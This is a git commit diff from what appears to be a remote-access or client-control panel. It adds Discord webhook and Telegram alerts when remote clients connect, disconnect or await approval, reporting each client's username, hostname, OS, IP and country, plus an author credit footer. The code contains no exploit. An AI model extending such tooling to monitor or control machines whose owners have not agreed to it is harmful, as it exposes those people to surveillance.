send notifications on clients connecting and shit to discord webhooks and telegram and give myself credits

This commit is contained in:
KingKDot
2026-04-13 13:49:41 -05:00
parent 9f76b263fa
commit c56a9f16f4
4 changed files with 149 additions and 2 deletions
+4
View File
@@ -571,6 +571,10 @@
</form>
</section>
<footer class="text-center text-sm text-slate-500 py-4 border-t border-slate-800 mt-4">
<p>Created by KDot &mdash; <a href="https://t.me/kunta" target="_blank" rel="noopener noreferrer" class="text-sky-400 hover:text-sky-300 transition-colors"><i class="fa-brands fa-telegram"></i> t.me/kunta</a></p>
</footer>
</main>
<script type="module" src="/assets/nav.js"></script>
+20 -1
View File
@@ -12,7 +12,7 @@ import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "./auth";
import { loadConfig, getConfig } from "./config";
import { flushAuditLogsSync } from "./auditLog";
import { getUserById, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
import { requireAuth, requirePermission } from "./rbac";
import { metrics } from "./metrics";
import { ensureDataDir } from "./paths";
@@ -282,6 +282,25 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
getUserRole: (userId: number) => getUserById(userId)?.role,
storeNotificationScreenshot: storeNotificationScreenshotForPending,
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => {
const mapRow = (u: any): UserDeliveryTarget => ({
userId: u.id,
username: u.username,
webhookEnabled: u.webhook_enabled === 1,
webhookUrl: u.webhook_url || "",
webhookTemplate: u.webhook_template,
telegramEnabled: u.telegram_enabled === 1,
telegramBotToken: u.telegram_bot_token || "",
telegramChatId: u.telegram_chat_id || "",
telegramTemplate: u.telegram_template,
});
if (event === "client_purgatory") {
return getUsersForNotificationDelivery()
.filter((u) => u.role === "admin" || u.role === "operator")
.map(mapRow);
}
return getUsersForNotificationDeliveryByClient(clientId).map(mapRow);
},
savePluginState,
});
@@ -385,3 +385,120 @@ export async function deliverNotificationWithScreenshot(
]);
}
export type ClientEventInfo = {
id: string;
host?: string;
user?: string;
os?: string;
ip?: string;
country?: string;
};
const CLIENT_EVENT_LABELS: Record<string, string> = {
client_online: "\u{1F7E2} Client Online",
client_offline: "\u{1F534} Client Offline",
client_purgatory: "\u{1F7E1} Client Awaiting Approval",
};
const CLIENT_EVENT_COLORS: Record<string, number> = {
client_online: 0x22c55e,
client_offline: 0xef4444,
client_purgatory: 0xeab308,
};
export async function deliverClientEventToExternalChannels(
event: string,
info: ClientEventInfo,
targets: UserDeliveryTarget[],
): Promise<void> {
if (targets.length === 0) return;
const label = CLIENT_EVENT_LABELS[event] || "Client Event";
const ts = Date.now();
await Promise.allSettled(
targets.map(async (target) => {
if (target.webhookEnabled && target.webhookUrl) {
const url = target.webhookUrl.trim();
if (!url) return;
let parsed: URL;
try {
parsed = new URL(url);
if (!/^https?:$/.test(parsed.protocol)) return;
} catch {
return;
}
try {
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
if (isDiscord) {
const fields = [
{ name: "Client", value: info.id || "unknown", inline: true },
{ name: "User", value: info.user || "unknown", inline: true },
{ name: "Host", value: info.host || "unknown", inline: true },
{ name: "OS", value: info.os || "unknown", inline: true },
];
if (info.ip) fields.push({ name: "IP", value: info.ip, inline: true });
if (info.country) fields.push({ name: "Country", value: info.country, inline: true });
const embed: Record<string, any> = {
title: label,
color: CLIENT_EVENT_COLORS[event] ?? 0x94a3b8,
fields,
timestamp: new Date(ts).toISOString(),
};
const payload = { content: label, embeds: [embed] };
await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
});
} else {
await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
type: "client_event",
event,
clientId: info.id,
user: info.user,
host: info.host,
os: info.os,
ip: info.ip,
country: info.country,
ts,
}),
});
}
} catch (err) {
logger.warn(`[notify] client event webhook delivery to user ${target.username} failed`, err);
}
}
if (target.telegramEnabled && target.telegramBotToken && target.telegramChatId) {
const token = target.telegramBotToken.trim();
const chatId = target.telegramChatId.trim();
if (!token || !chatId) return;
const lines = [label];
if (info.id) lines.push(`Client: ${info.id}`);
if (info.user) lines.push(`User: ${info.user}`);
if (info.host) lines.push(`Host: ${info.host}`);
if (info.os) lines.push(`OS: ${info.os}`);
if (info.ip) lines.push(`IP: ${info.ip}`);
if (info.country) lines.push(`Country: ${info.country}`);
try {
const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`;
await fetch(apiUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ chat_id: chatId, text: lines.join("\n") }),
});
} catch (err) {
logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err);
}
}
}),
);
}
@@ -7,7 +7,7 @@ import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { SocketData } from "../sessions/types";
import { deliverWebPushClientEvent } from "./notification-delivery";
import { deliverWebPushClientEvent, deliverClientEventToExternalChannels, type UserDeliveryTarget } from "./notification-delivery";
type NotificationRecord = {
id: string;
@@ -65,6 +65,10 @@ type CreateDeps = {
height?: number,
) => void;
deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise<void>;
getDeliveryTargetsForClientEvent: (
event: string,
clientId: string,
) => UserDeliveryTarget[];
savePluginState: () => Promise<void>;
};
@@ -354,6 +358,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
}
void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole);
const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id);
void deliverClientEventToExternalChannels(event, info, externalTargets);
},
markPluginLoaded,